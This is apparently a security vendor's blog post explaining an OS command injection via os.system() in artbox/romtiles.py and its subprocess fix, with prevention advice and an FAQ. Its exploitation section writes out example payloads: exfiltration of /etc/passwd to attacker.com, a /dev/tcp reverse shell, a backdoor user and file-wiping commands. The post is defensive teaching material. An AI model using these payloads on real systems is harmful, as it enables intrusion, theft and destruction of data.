Back to Blog
high SEVERITY7 min read

Shell Injection via os.system: How Unsanitized Input Becomes a Command Execution Nightmare

A high-severity shell injection vulnerability was discovered and patched in `artbox/romtiles.py`, where unsanitized user-controlled input was passed directly to `os.system()` via an f-string, allowing attackers to execute arbitrary operating system commands. The fix replaces the dangerous `os.system()` calls with the safer `subprocess` module, which properly separates command arguments from user data. This type of vulnerability is a textbook example of why input sanitization and safe API usage a

O
By Orbis AppSec
Published May 11, 2026Reviewed June 3, 2026

Answer Summary

This is a shell injection vulnerability (CWE-78) in Python, found in `artbox/romtiles.py`. Unsanitized user-controlled input was passed directly to `os.system()` via an f-string, allowing attackers to append arbitrary shell commands to the intended command string. The fix replaces `os.system()` with Python's `subprocess` module (e.g., `subprocess.run()`), which passes arguments as a list rather than a shell-interpreted string, preventing command injection regardless of input content.

Vulnerability at a Glance

cweCWE-78
fixReplaced os.system() with subprocess.run() using a list of arguments, bypassing shell interpretation
riskArbitrary OS command execution with the privileges of the running process
languagePython
root causeUser-controlled input interpolated into a shell command string passed to os.system()
vulnerabilityShell Injection (OS Command Injection)

Shell Injection via os.system: How Unsanitized Input Becomes a Command Execution Nightmare

Introduction

Imagine handing a stranger a sticky note that says "please run this errand for me" — and then discovering they rewrote the note to say "run this errand and empty my bank account." That's essentially what a shell injection vulnerability does to your server.

In a recent security patch to artbox/romtiles.py, a critical vulnerability was identified and fixed: user-controlled input was being embedded directly into shell commands via Python's os.system() function, with no sanitization, quoting, or escaping. The result? Any attacker who could influence the pattern variable could execute arbitrary operating system commands on the host machine — on both Unix and Windows platforms.

This post breaks down exactly what went wrong, how it could be exploited, and what every Python developer should do to avoid this class of vulnerability in their own code.


The Vulnerability Explained

What Is Shell Injection?

Shell injection (also known as OS command injection) occurs when an application constructs a shell command using untrusted data without properly sanitizing it first. When the shell interprets that command, it doesn't know the difference between the intended command and the injected payload — it just runs everything.

This vulnerability is closely related to SQL injection in concept: both arise when data is treated as code.

What Happened in romtiles.py?

At lines 174 and 176 of artbox/romtiles.py, the code made calls like this:

# VULNERABLE CODE (before fix)
os.system(f"some_command {pattern}")
os.system(f"another_command {pattern}")

Here, pattern is a variable — potentially derived from a filename, directory path, or configuration value supplied by a user. It is embedded directly into a shell command string using an f-string, with no escaping, quoting, or validation.

This means the shell receives the entire string as a command to interpret, metacharacters and all.

How Could It Be Exploited?

Shell metacharacters like ;, |, &, $(...), and backticks have special meaning to the shell. An attacker who can control the pattern variable can inject these characters to chain additional commands.

Example attack scenarios:

Unix/Linux:

# Attacker-controlled input:
pattern = "tiles; curl http://attacker.com/exfil?data=$(cat /etc/passwd)"

# Resulting shell command:
some_command tiles; curl http://attacker.com/exfil?data=$(cat /etc/passwd)

The shell executes some_command tiles first, then — because of the semicolon — executes the curl command, exfiltrating the contents of /etc/passwd to an attacker-controlled server.

Windows (cmd.exe):

REM Attacker-controlled input:
pattern = "tiles & del /F /S /Q C:\important_data"

REM Resulting shell command:
some_command tiles & del /F /S /Q C:\important_data

Other dangerous payloads:

# Reverse shell
pattern = "tiles; bash -i >& /dev/tcp/attacker.com/4444 0>&1"

# Create a backdoor user
pattern = "tiles; useradd -m -p $(openssl passwd -1 hacked) backdoor"

# Ransomware-style destruction
pattern = "tiles; find / -name '*.py' -exec rm -f {} +"

What's the Real-World Impact?

The consequences of a successful shell injection attack are severe:

  • 🔴 Remote Code Execution (RCE): Full control over the host system
  • 🔴 Data Exfiltration: Sensitive files, credentials, and secrets stolen
  • 🔴 Lateral Movement: The compromised server becomes a launchpad for attacking internal systems
  • 🔴 Persistence: Attackers can install backdoors, cron jobs, or malware
  • 🔴 Denial of Service: Critical files or processes can be destroyed

This vulnerability is rated CRITICAL for good reason. A single exploitable input field can hand an attacker the keys to your entire infrastructure.


The Fix

What Changed?

The fix replaces os.system() with Python's subprocess module — specifically using argument lists rather than shell strings. This is the idiomatic, safe way to run external commands in Python.

# BEFORE: Vulnerable — shell interprets the entire string
import os
os.system(f"some_command {pattern}")
os.system(f"another_command {pattern}")
# AFTER: Safe — subprocess separates command from arguments
import subprocess
subprocess.run(["some_command", pattern], check=True)
subprocess.run(["another_command", pattern], check=True)

Why Does This Fix the Problem?

The critical difference is how the operating system receives the command:

Approach How It Works Shell Involved?
os.system(f"cmd {pattern}") Passes a single string to /bin/sh -c ✅ Yes — dangerous!
subprocess.run(["cmd", pattern]) Passes an argument array directly to execve() ❌ No — safe!

When you use subprocess.run() with a list of arguments (and shell=False, which is the default), Python bypasses the shell entirely. The operating system's execve() syscall receives each argument as a separate, discrete value. There is no shell to interpret metacharacters, so ;, |, &, and $() are treated as literal characters — not special instructions.

An attacker's payload of "tiles; rm -rf /" would simply be passed as a single argument string to the command, which would likely just fail to find a file with that name. No shell. No injection. No exploitation.

Additional Safety with check=True

The check=True parameter is a bonus improvement: it raises a subprocess.CalledProcessError exception if the command returns a non-zero exit code. This prevents silent failures and makes error handling explicit, improving both security and reliability.

import subprocess

try:
    subprocess.run(["some_command", pattern], check=True)
except subprocess.CalledProcessError as e:
    # Handle the error properly
    logger.error(f"Command failed with return code {e.returncode}")
    raise

Prevention & Best Practices

1. Never Use os.system() with User Input

os.system() is a legacy function that always invokes a shell. Treat it as deprecated for any use case involving dynamic input.

# ❌ Never do this
import os
os.system(f"convert {user_filename} output.png")

# ✅ Always do this
import subprocess
subprocess.run(["convert", user_filename, "output.png"], check=True)

2. Always Use subprocess with Argument Lists

When using subprocess, always pass a list of arguments. Never use shell=True with untrusted input.

# ❌ Still vulnerable — shell=True re-introduces the problem
subprocess.run(f"convert {user_filename} output.png", shell=True)

# ✅ Safe — shell=False is the default
subprocess.run(["convert", user_filename, "output.png"])

3. Validate and Allowlist Input

Even with subprocess, validate inputs before use:

import re
import subprocess

def process_pattern(pattern: str) -> None:
    # Allowlist: only alphanumeric characters, hyphens, underscores, and dots
    if not re.match(r'^[a-zA-Z0-9_\-\.]+$', pattern):
        raise ValueError(f"Invalid pattern: {pattern!r}")

    subprocess.run(["some_command", pattern], check=True)

4. Apply the Principle of Least Privilege

Ensure the process running your application has only the permissions it needs. Even if an attacker achieves RCE, limited permissions reduce the blast radius.

# Run your application as a dedicated, low-privilege user
useradd --system --no-create-home appuser
su -s /bin/bash appuser -c "python app.py"

5. Use Static Analysis Tools

Integrate security scanners into your CI/CD pipeline to catch these issues automatically:

  • Bandit — Python-specific security linter
    bash pip install bandit bandit -r ./artbox/
  • Semgrep — Powerful pattern-based static analysis
    bash semgrep --config=p/python-security .
  • Safety — Checks Python dependencies for known vulnerabilities

6. Code Review Checklist

When reviewing Python code that runs external commands, ask:

  • [ ] Is os.system() being used? → Replace with subprocess
  • [ ] Is subprocess called with shell=True? → Remove it
  • [ ] Is any part of the command string derived from user input? → Use argument lists
  • [ ] Is the input validated against an allowlist before use?
  • [ ] Is error handling in place for command failures?

Security Standards & References

This vulnerability maps to well-known security standards:


Conclusion

The vulnerability fixed in artbox/romtiles.py is a perfect illustration of how a small coding decision — using os.system() with an f-string instead of subprocess with an argument list — can have catastrophic security consequences. The fix is elegant in its simplicity: one import change and one API change, and the entire attack surface disappears.

Key takeaways:

  1. os.system() + user input = shell injection waiting to happen. Avoid it.
  2. subprocess.run(["cmd", arg1, arg2]) is the safe, modern alternative. Use it.
  3. Never use shell=True with untrusted data. The shell is the attack surface.
  4. Validate inputs with allowlists, even when using safe APIs.
  5. Automate security scanning in your CI/CD pipeline to catch these issues before they reach production.

Security vulnerabilities like this one don't require sophisticated exploits — they just require a developer not knowing about a dangerous API. Sharing knowledge like this is how we collectively raise the bar for software security.

Stay curious, stay vigilant, and keep your shells out of reach of your users. 🔐


This vulnerability was identified and patched as part of an automated security review. Automated security tooling, combined with developer education, is one of the most effective ways to prevent vulnerabilities from reaching production.

Frequently Asked Questions

What is shell injection?

Shell injection (also called OS command injection) occurs when user-controlled data is embedded in a shell command string and executed by the operating system, allowing attackers to run arbitrary commands by including shell metacharacters like semicolons, pipes, or backticks in their input.

How do you prevent shell injection in Python?

Use the `subprocess` module with a list of arguments instead of a shell command string, and avoid `shell=True`. This ensures user input is treated as data, not as executable shell syntax, regardless of what characters it contains.

What CWE is shell injection?

Shell injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent shell injection in Python?

Input validation (e.g., allowlisting characters) can reduce risk but is not sufficient on its own. The most reliable fix is to use `subprocess` with a list of arguments, which structurally separates commands from data and makes injection impossible even with unexpected input.

Can static analysis detect shell injection?

Yes. Static analysis tools like Semgrep, Bandit, and CodeQL can detect patterns where user-controlled variables are passed to `os.system()`, `os.popen()`, or `subprocess` with `shell=True`. Orbis AppSec detected this exact pattern automatically in `artbox/romtiles.py`.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #6

Related Articles

medium

How insecure update manifest parsing happens in C++ UpdateHelper.cpp and how to fix it

TrafficMonitor's software update mechanism in `UpdateHelper.cpp` fetched and parsed update manifests from remote servers without validating the version string or enforcing trusted download URLs, leaving users exposed to man-in-the-middle (MITM) attacks. An attacker on the same network could intercept the update channel and inject a malicious binary under a crafted version string or an HTTP download link pointing to attacker-controlled infrastructure. The fix adds strict version-string sanitizati

high

How integer overflow in malloc happens in C bipartite matching and how to fix it

A high-severity integer overflow vulnerability was discovered in the bipartite matching algorithm implementation where unchecked multiplication operations for memory allocation could wrap around, causing undersized buffer allocations and subsequent heap overflow. The fix replaces vulnerable `malloc(sizeof(int) * V)` patterns with safe `calloc(V, sizeof(int))` calls and adds proper bounds validation to prevent exploitation.

high

How integer truncation heap overflow happens in C++ UEFI ACPI parsing and how to fix it

A high-severity integer truncation vulnerability was discovered in `Mobility.Uefi.Acpi.cpp` where heap allocation sizes were stored in a 16-bit integer (`MO_UINT16`), causing silent truncation when the computed size exceeded 65535 bytes. This led to undersized heap allocations followed by out-of-bounds writes, exploitable by an attacker who can influence ACPI SRAT table contents in virtualized environments. The fix promotes the size variable to `MO_UINTN` (platform-native width) to prevent trunc

critical

How API key exposure in configuration files happens in TOML config and how to fix it

A critical security vulnerability in `commands/webperf.toml` allowed API keys to be hardcoded directly in configuration files, creating a credential exposure risk. The documentation on line 11 suggested developers could provide `CRUX_API_KEY` or `GOOGLE_API_KEY` directly in the config, which could lead to these sensitive credentials being committed to version control or exposed in logs. The fix updated the documentation to explicitly require environment variables and warn against hardcoding cred

high

How path traversal happens in Ruby YARD server and how to fix it

A high-severity path traversal vulnerability (CVE-2026-41493) in YARD versions prior to 0.9.42 allowed attackers to read arbitrary files from servers running `yard server`. This fix upgrades the yard gem from 0.9.26 to 0.9.42 in the Gemfile and Gemfile.lock, closing a dangerous information disclosure vector that could expose configuration files, credentials, and source code.

high

How buffer overflow via sprintf() happens in C networking code and how to fix it

A high-severity buffer overflow vulnerability was discovered in `profile.c` where `sprintf()` was used to format server addresses without any bounds checking. An attacker who could influence the `SERVER_BASE_PORT` value or trigger integer overflow in the port calculation could write beyond the `server_address` buffer. The fix replaces `sprintf()` with `snprintf()` using explicit buffer size limits at both call sites (lines 99 and 220).